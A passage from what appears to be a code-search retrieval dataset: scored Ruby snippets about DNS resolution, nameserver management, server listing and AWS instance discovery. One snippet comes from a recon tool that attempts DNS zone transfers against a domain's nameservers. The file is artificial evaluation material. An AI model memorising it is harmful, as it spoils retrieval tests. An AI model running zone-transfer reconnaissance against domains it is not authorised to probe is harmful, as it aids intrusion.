"text": "def ldap_servers\n lookup = \"_ldap._tcp.#{resource[:domain]}\"\n resolver = Resolv::DNS.new\n resolver.getresources(lookup, Resolv::DNS::Resource::IN::ANY).collect { |resource| resource.target }\n end",
"title": ""
},
{
"docid": "7b5eb7dd94e00ffc9346304909606997",
"score": "0.55295664",
"text": "def get_servers(host=nil, port=nil)\n host ||= '63.146.124.21'\n port ||= 20810\n # TODO 6 ?\n cmd = \"getservers 6 full empty\"\n servers = []\n #TODO need to read all the responses, not just the first\n request_many(cmd, host, port) do |resp, _|\n break if resp.nil?\n servers += parse_serversResponse(resp)\n end\n\n servers\n end",
"title": ""
},
{
"docid": "de98925eef0f65de8749edf70c0123dc",
"score": "0.5527871",
"text": "def host_dns\n require 'resolv'\n @host_dns = Resolv::DNS.open do |dns|\n dns.getresource('_ldap._tcp.'+options['domain'], Resolv::DNS::Resource::IN::SRV)\n end\n end",
"title": ""
},
{
"docid": "41cd1d1aa5007845379c9dcf8dd41e57",
"score": "0.5514075",
"text": "def retrieve_resolv_data\n resolv_data = ::File.read(::File.expand_path(::File.join('etc', 'resolv.conf'),'/')).\n split(\"\\n\").\n grep(/^search.*cloudapp.net$/).\n first.\n split.\n fetch(1).\n split('.') || nil rescue nil\n return nil if ((! resolv_data) || (! resolv_data[0]) || (! resolv_data[1]) || (! resolv_data[3]))\n {\n :deployment_id => resolv_data[0],\n :public_hostname => \"#{resolv_data[1]}.cloudapp.net\",\n :location => resolv_data[3]\n }\nend",
"title": ""
},
{
"docid": "4fca87732b08dee9180999c3a340bd42",
"score": "0.5507789",
"text": "def servers\n [:default]\n end",
"title": ""
},
{
"docid": "80fc7311fde8877c541c1c06d6749abb",
"score": "0.5497806",
"text": "def lookup_server_uri\n 50.times do\n service_directory.all_listings_for(service).each do |listing|\n host = listing.try(:address)\n port = listing.try(:port)\n return \"tcp://#{host}:#{port}\" if host_alive?(host)\n end\n\n host = options[:host]\n port = options[:port]\n return \"tcp://#{host}:#{port}\" if host_alive?(host)\n\n sleep(1.0/10.0) # not sure why sleeping at all, but should be way less than 1 second\n end\n\n raise \"Host not found for service #{service}\"\n end",
"title": ""
},
{
"docid": "2b3591c4d285184de618aed9b72d03d4",
"score": "0.5497518",
"text": "def add\n domain = args.shift.downcase rescue nil\n fail(\"Usage: heroku dns:add DOMAIN\") unless domain\n begin\n result = JSON.parse(resource(\"/dns\").post :domain => domain)\n display \"Added #{domain}\"\n display \"Please update your dns servers to be:\"\n result[\"zone\"][\"servers\"].each do |server|\n display \" #{server}\"\n end\n rescue RestClient::Forbidden => e\n display e.response\n end\n end",
"title": ""
},
{
"docid": "d4eb81e1571212696a69a0f8c8bd6220",
"score": "0.5486317",
"text": "def set_dynamic_dns(query:, status:)\n params = {\n query: query,\n status: status,\n }.compact\n\n _post(\"/actions/dynamic-dns\", params) { |json| json }\n end",
"title": ""
},
{
"docid": "0547fe1e9a239267e7353870727a93ee",
"score": "0.54806644",
"text": "def set_dns(dns = {domain: \"xirrus.com\", server1: \"208.67.222.222\", server2: \"208.67.220.220\", server3: \"208.67.222.222\" })\n \n dns_box = get(:div, {text: \"DNS (Domain Name System)\"})\n dns_box.wait_until_present\n set_dns_switch(\"static\")\n @browser.span(:text => 'Search Domain:').wait_until_present\n\n unless dns[:domain] == false\n set_text_field_by_id(\"profile_config_network_domain\", dns[:domain])\n end\n\n unless dns[:server1] == false\n set_text_field_by_id(\"profile_config_network_dns1\", dns[:server1] )\n end\n\n unless dns[:server2] == false\n set_text_field_by_id('profile_config_network_dns2', dns[:server2] )\n end\n\n unless dns[:server3] == false\n set_text_field_by_id('profile_config_network_dns3', dns[:server3] )\n end\n\n end",
"title": ""
},
{
"docid": "33329fef526c525e422ccb38632c53f6",
"score": "0.54768366",
"text": "def nsqlookupd_http_endpoints\n @nsqlookupd.map { |lookupd| \"http://#{lookupd.host}:#{lookupd.http_port}\" }\n end",
"title": ""
},
{
"docid": "d997f18af7ad9ad619cfe8d9ece58e1c",
"score": "0.54723746",
"text": "def pull_live_records\n YAML.load(Net::HTTP.get URI \"#{@api_url}&cmd=dns-list_records&format=yaml\")\n end",
"title": ""
},
{
"docid": "720485ea2ce1ee2f369702099c3d3bad",
"score": "0.54714006",
"text": "def list(fqdn, opts = {})\n call('domain.host.list', fqdn, opts).map do |host|\n self.new(host['name'], host)\n end\n end",
"title": ""
},
{
"docid": "5888afd30c0b8004b068943352ca4e9e",
"score": "0.54696864",
"text": "def name_servers=(servers)\n servers = servers.inject({}) { |hash, server| hash.merge(\"ns#{hash.length + 1}\" => server) }\n body = { :name_servers => servers }\n response = DNSimple::Client.post(\"/v1/domains/#{name}/name_servers\", :body => body)\n case response.code\n when 200\n response.parsed_response\n else\n raise RequestError.new(\"Error setting nameservers for #{name}\", response)\n end\n end",
"title": ""
},
{
"docid": "538400341f8914648258e2941156af7b",
"score": "0.5454994",
"text": "def email_address_get_servers(email, opts = {})\n data, _status_code, _headers = email_address_get_servers_with_http_info(email, opts)\n data\n end",
"title": ""
},
{
"docid": "b0b5dd4e7c5ea7a31a3c397811ea3dca",
"score": "0.5454958",
"text": "def servers\n @servers\n end",
"title": ""
},
{
"docid": "45ec0edcd9c3d444f390650c6573e5bd",
"score": "0.5452718",
"text": "def print_servers\n Notify.info('Sites')\n\n @config.get(:servers).each do |server|\n Notify.spit(\" - Name: #{server[:name]}, Address: #{server[:address]}, HTTPS: #{server[:https]}\")\n end\n end",
"title": ""
},
{
"docid": "85ae630b578314eed4c63308ef24ad07",
"score": "0.5449383",
"text": "def do_dns_lookup\n self.host = Socket.getaddrinfo(self.ip, nil)[0][2] if SERVER_REVERSE_DNS_LOOKUP\n end",
"title": ""
},
{
"docid": "ae972bdbaff4cf1fcdb84bce4c2ae04b",
"score": "0.5444846",
"text": "def servers; end",
"title": ""
},
{
"docid": "ae972bdbaff4cf1fcdb84bce4c2ae04b",
"score": "0.5444846",
"text": "def servers; end",
"title": ""
},
{
"docid": "a2c6303d0aa0cfe554b2e46d1be77051",
"score": "0.5442673",
"text": "def expected_dns\n r = Route.find(params[:route_id])\n respond_to do |f|\n f.json { render :json => r.expected_dns }\n f.xml { render :xml => r.expected_dns }\n end\n end",
"title": ""
},
{
"docid": "1af69bdfe44635816e242aca585b7d4b",
"score": "0.5441501",
"text": "def index\n @servers = Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"title": ""
},
{
"docid": "1af69bdfe44635816e242aca585b7d4b",
"score": "0.5441501",
"text": "def index\n @servers = Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @servers }\n end\n end",
"title": ""
},
{
"docid": "f076bea2f63c389dfcaa7060a2e1814d",
"score": "0.54314333",
"text": "def index\n if params[:service_id].nil?\n @servers = subdomain.servers\n else\n @servers = subdomain.services.find(params[:service_id]).servers\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @servers }\n end\n end",
"title": ""
},
{
"docid": "3fd409a6556eda81cc542a78cfb2dafb",
"score": "0.54262584",
"text": "def setup_dns(node)\n n = get_server(node)\n dns = Souffle::DNS.plugin(system.try_opt(:dns_provider)).new\n #dns.delete_entry(node)\n dns.create_entry(node,n.ipv4_address)\n end",
"title": ""
},
{
"docid": "57931e223f560da5164a1a17584f5ee7",
"score": "0.5424179",
"text": "def vpc_internal_dns_names # rubocop:disable Metrics/MethodLength\n ec2 = Aws::EC2::Client.new(\n region: @aws_region,\n access_key_id: @aws_access_key_id,\n secret_access_key: @aws_secret_access_key\n )\n\n resp = ec2.describe_instances(\n filters: [\n {\n name: \"tag:Name\",\n values: @app_server_aws_name_tags\n },\n {\n name: \"instance-state-name\",\n values: [\"running\"]\n }\n ]\n )\n\n names = resp\n .reservations\n .map { |reservation| reservation.instances.map(&:private_dns_name) }\n .flatten\n\n log \"In AWS regions '#{@aws_region}' I found the following app server(s): #{names.join(\", \")}\"\n\n names\n rescue StandardError => e\n # Many things could go wrong here while digging into the expected responses from AWS\n log <<~EO_ERROR\n\n I failed to discover the AWS internal DNS name of the server to deploy to so\n I cannot complete the deployment.\n\n The error I found was: #{e.inspect}\n\n This is what I found when I looked for AWS credentials in the environment\n variables:\n Check that the values of the following environment variables are correct:\n\n DEPLOYMENT_AWS_ACCESS_KEY_ID\n DEPLOYMENT_AWS_SECRET_ACCESS_KEY\n\n If these are not correct then you should fix that. Otherwise this may have\n been caused by:\n\n * a network error\n * the server not running\n\n so you should check those too. Good luck!\n\n EO_ERROR\n raise AwsHelperError\n end",
"title": ""
},
{
"docid": "cd0d413cf1ccdb4cae151320019a1944",
"score": "0.54220754",
"text": "def name_servers\n Array(@gapi[\"nameServers\"])\n end",
"title": ""
},
{
"docid": "ae8c3162cb353a7161ff06730da530ed",
"score": "0.5420772",
"text": "def\tcompare_nameservers(domain_name)\n\n\twhois_list = get_whois_nameservers(domain_name)\t\n\tputs \"whois:\" + whois_list.to_s\n\tdns_list = get_dns_nameservers(domain_name)\n\tputs \"dns: \" + dns_list.to_s\n\nend",
"title": ""
},
{
"docid": "b48344c9b256a2353d946e783223d33b",
"score": "0.54200506",
"text": "def get_db_servers_external_fqhn(_site_info)\n dbs_fqhn = require_fqhns('db', get_servers_data(_site_info, 'db_servers', 'external_fqhn'))\n return dbs_fqhn\n end",
"title": ""
},
{
"docid": "3a1fd258cdcbbefa65291bec378f4d6c",
"score": "0.54183865",
"text": "def index\n @floating_ips = OpenStack::Nova::Compute::FloatingIp.all\n @servers = OpenStack::Nova::Compute::Server.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @floating_ips }\n end\n end",
"title": ""
},
{
"docid": "8921a3b63648ce18ed230964010767e2",
"score": "0.5416917",
"text": "def dns_ns_records(domain=@@domain)\n Resolv::DNS.open do |dns|\n ns_servers = dns.getresources(domain, Resolv::DNS::Resource::IN::NS)\n if not ns_servers.nil? and ns_servers.size > 0\n @@file.puts \"\\nDNS Nameserver (NS) Records Found: \"\n puts \"[\".light_green + \"*\".white + \"] \".light_green + \"DNS Nameserver (NS) Records Found: \".white\n ns_servers.each do |srvr|\n @@file.puts \" #{srvr.name}\"\n puts \" [\".light_blue + \"+\".white + \"] \".light_blue + \"#{srvr.name}\".white\n dns_axfr(@@domain, srvr.name) # Zone Transfer Attempt\n end\n else\n print_error(\"No DNS NS Records Found!\")\n end\n end\n end",
"title": ""
},
{
"docid": "874eb7306de145f5d1145d0697fe6608",
"score": "0.54115516",
"text": "def servers\n @servers ||= []\n end",
"title": ""
},
{
"docid": "7ff2a7fdc0c491a5d37c9e9ce9e9eb0d",
"score": "0.54007125",
"text": "def set_nameserver(ns = [])\n if ns.respond_to?(:split)\n ns = [ns]\n end\n @lock.synchronize do\n @dns_resolver.nameserver = ns.flatten\n end\n end",
"title": ""
},
{
"docid": "35ede9fd999481782b9cbd3db312c49f",
"score": "0.539766",
"text": "def index\n @servers = Server.all\n\n respond_with @servers \n end",
"title": ""
},
{
"docid": "8c6b4b2fa00b682d51dd439e068a103a",
"score": "0.53915524",
"text": "def show\n @dns_record = DnsRecord.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @dns_record }\n end\n end",
"title": ""
},
{
"docid": "3fabb46ce329abad0e8e38b91bd8033b",
"score": "0.5387674",
"text": "def index\n @servers = Server.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @servers }\n end\n end",
"title": ""
},
{
"docid": "0571b5a28bf98422b09b1df0babe9c8f",
"score": "0.53845644",
"text": "def verify_standard_servers\n all_servers = {}\n @servers.each { |type,srvs|\n all_servers.merge!(srvs)\n }\n verify_servers(all_servers)\n end",
"title": ""
},
{
"docid": "15b3222c9f34331f36335e43243eba49",
"score": "0.5383705",
"text": "def email_address_get_servers_with_http_info(email, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: EmailApi.email_address_get_servers ...'\n end\n # verify the required parameter 'email' is set\n if @api_client.config.client_side_validation && email.nil?\n fail ArgumentError, \"Missing the required parameter 'email' when calling EmailApi.email_address_get_servers\"\n end\n # resource path\n local_var_path = '/validate/email/address/servers'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json', 'text/json', 'application/xml', 'text/xml'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json', 'text/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(email)\n auth_names = ['Apikey']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AddressGetServersResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: EmailApi#email_address_get_servers\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "ac537d17509b3b7ba629dba759e74545",
"score": "0.5382831",
"text": "def get_name_servers(domain_name)\n\n\twhois_ns_list = []\n\twhois_query = Whois.whois(domain_name.to_s)\n\twhois_query.nameservers.each { |ns| whois_ns_list.push(ns.name) }\n\n\treturn whois_ns_list\n\nend",
"title": ""
},
{
"docid": "01600c9bf238174ab01695febce6867f",
"score": "0.538082",
"text": "def fog_test_server\n server = service.servers.find { |s| s.name == 'fog-test-server' }\n unless server\n image = service.images.find { |i| i.name == 'Ubuntu 12.04 x64 Server' }\n region = service.regions.find { |r| r.name == 'New York 1' }\n flavor = service.flavors.find { |r| r.name == '512MB' }\n server = service.servers.create :name => 'fog-test-server',\n :image_id => image.id,\n :region_id => region.id,\n :flavor_id => flavor.id\n # Wait for the server to come up\n begin\n server.wait_for(120) { server.reload rescue nil; server.ready? }\n rescue Fog::Errors::TimeoutError\n # Server bootstrap took more than 120 secs!\n end\n end\n server\nend",
"title": ""
},
{
"docid": "14fc0108a1358ed0903e88bb0debfec2",
"score": "0.5379765",
"text": "def public_dns\n body['Instances']['MasterPublicDnsName']\n end",
"title": ""
}
] |
0a96d1239ced7ab70b27145a6cef8ff0
|
Sat Feb 26 01:42:35 IST 2011, ramonrails
|
[
{
"docid": "9e557cd7e054bfa3f1f758684a4bf3cb",
"score": "0.0",
"text": "def before_save( event)\n # * remember the changes made to this model\n @_changes = event.changes\n end",
"title": ""
}
] |
[
{
"docid": "93af71ad0983e4bf5a041705c48d1cca",
"score": "0.6925117",
"text": "def date_time; end",
"title": ""
},
{
"docid": "93af71ad0983e4bf5a041705c48d1cca",
"score": "0.6925117",
"text": "def date_time; end",
"title": ""
},
{
"docid": "93af71ad0983e4bf5a041705c48d1cca",
"score": "0.6925117",
"text": "def date_time; end",
"title": ""
},
{
"docid": "9820c19b285a847dd29fbb19f8509a75",
"score": "0.6909021",
"text": "def server_built\n\t\treturn \"Mar 20 2006 14:30:49\"\n\tend",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "9d0ee356f46843f22f932f8f29002474",
"score": "0.6744961",
"text": "def timestamp; end",
"title": ""
},
{
"docid": "b29effc1dbbc52c623e184beb9360927",
"score": "0.66055745",
"text": "def date; end",
"title": ""
},
{
"docid": "b29effc1dbbc52c623e184beb9360927",
"score": "0.66055745",
"text": "def date; end",
"title": ""
},
{
"docid": "b29effc1dbbc52c623e184beb9360927",
"score": "0.66055745",
"text": "def date; end",
"title": ""
},
{
"docid": "b29effc1dbbc52c623e184beb9360927",
"score": "0.66055745",
"text": "def date; end",
"title": ""
},
{
"docid": "b29effc1dbbc52c623e184beb9360927",
"score": "0.66055745",
"text": "def date; end",
"title": ""
},
{
"docid": "8da6b8fcb9f6dcb08c5a622c717e8a1d",
"score": "0.6594172",
"text": "def createtime; end",
"title": ""
},
{
"docid": "2c99653928bb5a936135480eba0a2754",
"score": "0.6584867",
"text": "def las_scrapped_at\n @model.updated_at.strftime('%d %b, %Y %I:%M %p')\n end",
"title": ""
},
{
"docid": "53b10f68639f007971b1f05124122fbe",
"score": "0.65018946",
"text": "def httpdate; end",
"title": ""
},
{
"docid": "53b10f68639f007971b1f05124122fbe",
"score": "0.65018946",
"text": "def httpdate; end",
"title": ""
},
{
"docid": "37eb3fb4bf1e60e94a2f5caff61c3709",
"score": "0.64600194",
"text": "def date_time_sync\n text 12, 18\n end",
"title": ""
},
{
"docid": "ca4f99b7c42a7388efa4f8245dc9e177",
"score": "0.6458842",
"text": "def timestamp; @timestamp; end",
"title": ""
},
{
"docid": "4c9b16707241f0f5aa99015b89240553",
"score": "0.64582753",
"text": "def datetime; end",
"title": ""
},
{
"docid": "56dfbcce3673ca839ff24b7f1867f945",
"score": "0.6396158",
"text": "def db_time_now; end",
"title": ""
},
{
"docid": "e16be4cd3690b2ec40635ff78c0b2e7a",
"score": "0.6375789",
"text": "def date() updated; end",
"title": ""
},
{
"docid": "9fd782d66722a3d148d26babc09c4261",
"score": "0.6247847",
"text": "def loaded_at\n end",
"title": ""
},
{
"docid": "a58576cc96693b5e6a25d713ec46d0f1",
"score": "0.6230725",
"text": "def date_string; end",
"title": ""
},
{
"docid": "7a3a4a1fd6e59ec4b341430dd2315377",
"score": "0.6211698",
"text": "def deployed_at() ; info_time(:deployed_datetime) ; end",
"title": ""
},
{
"docid": "7a3a4a1fd6e59ec4b341430dd2315377",
"score": "0.6211698",
"text": "def deployed_at() ; info_time(:deployed_datetime) ; end",
"title": ""
},
{
"docid": "d99a8cbcc046e1a2e7150f74ab35597a",
"score": "0.620569",
"text": "def time\n \t Kronic.format(self.created_at)\n \tend",
"title": ""
},
{
"docid": "fdea3e7b29c6c7eb98b77f20c1f185cb",
"score": "0.61984533",
"text": "def asctime\n end",
"title": ""
},
{
"docid": "24342949920a75112152cc355c9ba060",
"score": "0.6197586",
"text": "def locate_timestamp; end",
"title": ""
},
{
"docid": "d55cef384ac0d20b469b57b1766a42f8",
"score": "0.6191067",
"text": "def updateddate\n \t\"#{updated_at.to_s[0..9]}\"\n end",
"title": ""
},
{
"docid": "1a7f65247020734327f983ee5eb56c3c",
"score": "0.6189316",
"text": "def time \n created_at.strftime(\"%l:%M %P %B %e, %Y\")\n end",
"title": ""
},
{
"docid": "13e60d46db74556209469ed95939efc7",
"score": "0.616783",
"text": "def rezm_sent_at(email)\n h(email.created_at.to_date.strftime('%m/%d/%Y') + \" \" + email.created_at.strftime('%I:%M %p').downcase)\n end",
"title": ""
},
{
"docid": "310042d4b0f44084bc9604fcde7ec2aa",
"score": "0.6155775",
"text": "def creation_date; end",
"title": ""
},
{
"docid": "175416676d63589887815112ca6b3d55",
"score": "0.61001366",
"text": "def date\n end",
"title": ""
},
{
"docid": "d5ab9b027a16c179ee7e422816af3415",
"score": "0.60929507",
"text": "def time_string; end",
"title": ""
},
{
"docid": "6110c1663d7dd1a2a7fa2362d0547d3b",
"score": "0.609189",
"text": "def timestamp\n DateTime.now.strftime()\n end",
"title": ""
},
{
"docid": "62a8afd3172142fc5e1b54945be154bb",
"score": "0.60856724",
"text": "def timestamp\n Time.now.httpdate\n end",
"title": ""
},
{
"docid": "d59cc7550e0f4dc4307ed12741d55cdb",
"score": "0.6062706",
"text": "def timestamp\r\n Time.now.strftime(\"%H:%M:%S\")\r\nend",
"title": ""
},
{
"docid": "83b5ddd0c3a920f90f9a007706e2c43f",
"score": "0.6046626",
"text": "def get_timestamp\n Time.now.utc.strftime(\"%b%d%Y\")\n end",
"title": ""
},
{
"docid": "a62131d085949e6f1e8ba5e3d8c3fa4c",
"score": "0.60460275",
"text": "def date\n date_created\n end",
"title": ""
},
{
"docid": "301b76e5a9419df40f3b87393643f219",
"score": "0.6037517",
"text": "def update_date; end",
"title": ""
},
{
"docid": "170a741a93415f76a196ba19b730d2f1",
"score": "0.60333437",
"text": "def date_published\n created_at.localtime.strftime(\"%A, %B %-d, %Y at %l:%M %p\")\n end",
"title": ""
},
{
"docid": "2f13322bc28b2715e01c7d36a4865490",
"score": "0.60330474",
"text": "def post_published_at\n self.published_at.strftime(\"%b %d, %Y %I:%M %p\")\n end",
"title": ""
},
{
"docid": "2f13322bc28b2715e01c7d36a4865490",
"score": "0.60330474",
"text": "def post_published_at\n self.published_at.strftime(\"%b %d, %Y %I:%M %p\")\n end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "eabe3efd0793e4af283269301f752a3d",
"score": "0.60169035",
"text": "def now; end",
"title": ""
},
{
"docid": "14dd0dd0857274c1278795c08307e9f3",
"score": "0.6012848",
"text": "def run_date_string\n run_date\n end",
"title": ""
},
{
"docid": "23cdad2b76a9cf1129be2fcb59f2fa2f",
"score": "0.6008636",
"text": "def timestamp\n Meangirls.timestamp\n end",
"title": ""
},
{
"docid": "63bd5102ede41c7d53ae1bf354ccf6a4",
"score": "0.60068154",
"text": "def timestamp\n @request.timestamp\n end",
"title": ""
},
{
"docid": "d2ab735fcf8f963fe4a4d3174950adb5",
"score": "0.6005223",
"text": "def created_at; end",
"title": ""
},
{
"docid": "d2ab735fcf8f963fe4a4d3174950adb5",
"score": "0.6005223",
"text": "def created_at; end",
"title": ""
},
{
"docid": "72cc3a5c550dbae207f482cd9de93b22",
"score": "0.59934646",
"text": "def pubdate\n updated_at\n end",
"title": ""
},
{
"docid": "8476513a9b941ed00cfe1012928e0966",
"score": "0.5988839",
"text": "def readable_inspect\n strftime(\"%a, %d %b %Y\")\n end",
"title": ""
},
{
"docid": "569990631d64b3e7ac450fee63c69bfa",
"score": "0.5983677",
"text": "def last_updated\n Time.now.strftime('%d %b %Y %H:%M:%S')\n end",
"title": ""
},
{
"docid": "11d95d6004eaab5baee8a776d5e7ea68",
"score": "0.5977722",
"text": "def date\n self.object.date.strftime(\"%m/%d/%Y %I:%M%p\")\n end",
"title": ""
},
{
"docid": "11d95d6004eaab5baee8a776d5e7ea68",
"score": "0.5977722",
"text": "def date\n self.object.date.strftime(\"%m/%d/%Y %I:%M%p\")\n end",
"title": ""
},
{
"docid": "0c965c08b4352e6e79705f841cbeab7d",
"score": "0.5969534",
"text": "def mday; end",
"title": ""
},
{
"docid": "6f53a6fb71f30d684731695bef87df5b",
"score": "0.59693563",
"text": "def timestamp\n Time.now.strftime \"[%Y-%m-%d %H:%M:%S]\"\n end",
"title": ""
},
{
"docid": "e4f20db31523524f58ebb1aa67ccc0ef",
"score": "0.59625095",
"text": "def local_start_time; end",
"title": ""
},
{
"docid": "e4f20db31523524f58ebb1aa67ccc0ef",
"score": "0.59625095",
"text": "def local_start_time; end",
"title": ""
},
{
"docid": "12857fe53ba9c4a9ab31767eb201cffe",
"score": "0.59422284",
"text": "def start_time\n date\n end",
"title": ""
},
{
"docid": "ba4c6108b2fdb91c4d296c5277495d7d",
"score": "0.5935069",
"text": "def friendly_updated_at\n updated_at.strftime(\"%b %e, %l:%M %p\")\n end",
"title": ""
},
{
"docid": "43d053be007c513657f73538e79cf067",
"score": "0.5934826",
"text": "def email_date; strftime(EMAIL_TIME_FORMAT); end",
"title": ""
},
{
"docid": "83df3f0ea8a8b22382d3ecd444863345",
"score": "0.59326524",
"text": "def timestamp\r\n Time.now.to_i.to_s\r\n end",
"title": ""
},
{
"docid": "5fbc3ea79828e930b53fec53ed3d83ab",
"score": "0.59324074",
"text": "def timestamp\n created_at.strftime('%H:%M:%S %d %B %Y')\n end",
"title": ""
},
{
"docid": "6222b64e517f2af551d41a337bc4edb0",
"score": "0.5925282",
"text": "def date_published\n created_at.localtime.strftime(\"%B %-d, %Y\")\n end",
"title": ""
},
{
"docid": "d018ddc4c1c21e2f7bfd0778a7154468",
"score": "0.5919309",
"text": "def render_now\n return Time.now.strftime(\"%Y-%m-%d_%H-%M-%s\") \n end",
"title": ""
},
{
"docid": "195294b55e6d7c569324a4535ee0d6b3",
"score": "0.591339",
"text": "def timestamp\n self.created_at.strftime(\"%B %d, %Y\")\n end",
"title": ""
},
{
"docid": "14ac268eea1802e91302e86f6226ee64",
"score": "0.58975834",
"text": "def start_date\n Time.now\n end",
"title": ""
},
{
"docid": "19da4083ef64c54dedaaa99358a7c6d1",
"score": "0.5894611",
"text": "def time\n created_at.strftime(\"%l:%M %P\")\n end",
"title": ""
},
{
"docid": "067c528a2543627448c016d09880060a",
"score": "0.58865535",
"text": "def readable_inspect\n strftime('%a, %d %b %Y')\n end",
"title": ""
},
{
"docid": "a9eb837a32c1524cd9132b8951605273",
"score": "0.5881623",
"text": "def written_at\n \treturn object.created_at.strftime('%H:%M:%S %d %B %Y')\n end",
"title": ""
},
{
"docid": "fcbae42e5c1cc15c3cdf70113c7af64b",
"score": "0.5876659",
"text": "def reqn\n t = Time.now\n t.strftime('%Y%m%d%H%M%S') + t.to_f.to_s.match(/\\.(\\d\\d)/)[1]\n end",
"title": ""
},
{
"docid": "fcbae42e5c1cc15c3cdf70113c7af64b",
"score": "0.5876659",
"text": "def reqn\n t = Time.now\n t.strftime('%Y%m%d%H%M%S') + t.to_f.to_s.match(/\\.(\\d\\d)/)[1]\n end",
"title": ""
},
{
"docid": "c97fb7643d7e16c9772781efb795edc0",
"score": "0.5875217",
"text": "def readable_inspect\n strftime(\"%a, %d %b %Y\")\n end",
"title": ""
},
{
"docid": "2daede66ecd2ee554a60e2e92920ef50",
"score": "0.5872795",
"text": "def message_time\n \tcreated_at.strftime(\"%m/%d/%y at %l:%M %p\")\n \tend",
"title": ""
},
{
"docid": "c98d3c83998419dae76def941dcdcc1b",
"score": "0.58675766",
"text": "def friendly_updated_at\n updated_at.strftime(\"%A, %d %b %Y %l:%M %p\")\n end",
"title": ""
},
{
"docid": "7a1dccb1abc97d52e025b35d4332a1ce",
"score": "0.58663505",
"text": "def day\r\n self.published_at? ? self.published_at.day.to_s.rjust(2,\"0\") : \"\"\r\n end",
"title": ""
},
{
"docid": "216eb18f7b7f2cc4707e497b02e78978",
"score": "0.5862315",
"text": "def last_stime; end",
"title": ""
},
{
"docid": "9ffd6955878b86c457531e695628172a",
"score": "0.58617795",
"text": "def start_time\n self.date\n end",
"title": ""
},
{
"docid": "9ffd6955878b86c457531e695628172a",
"score": "0.58617795",
"text": "def start_time\n self.date\n end",
"title": ""
},
{
"docid": "0debbab422ab20a0d15c54624de0f80c",
"score": "0.5859652",
"text": "def published_time\n self.published_at <= Time.now.strftime('%a, %d %b %Y %H:%M:%S UTC +00:00')\n end",
"title": ""
}
] |
a550d92bbfb746f38fe12c109a9f05a5
|
new_caps_count_gt_100 returns the number of caps records that have pairs further than 1000 amino acids away
|
[
{
"docid": "7381049bc32f4523da8beba762854211",
"score": "0.8452618",
"text": "def new_caps_count_gt_1100\n NewCap.all(:seq_id => self.seq_id, :greater_than_1100_away => true).count\n end",
"title": ""
}
] |
[
{
"docid": "f46dac22afd8ddac02e90e9fc085ad00",
"score": "0.87594783",
"text": "def new_caps_count_gt_1000\n NewCap.all(:seq_id => self.seq_id, :greater_than_1000_away => true).count\n end",
"title": ""
},
{
"docid": "46c8326815436756ec233bb9f5e77a9a",
"score": "0.8736133",
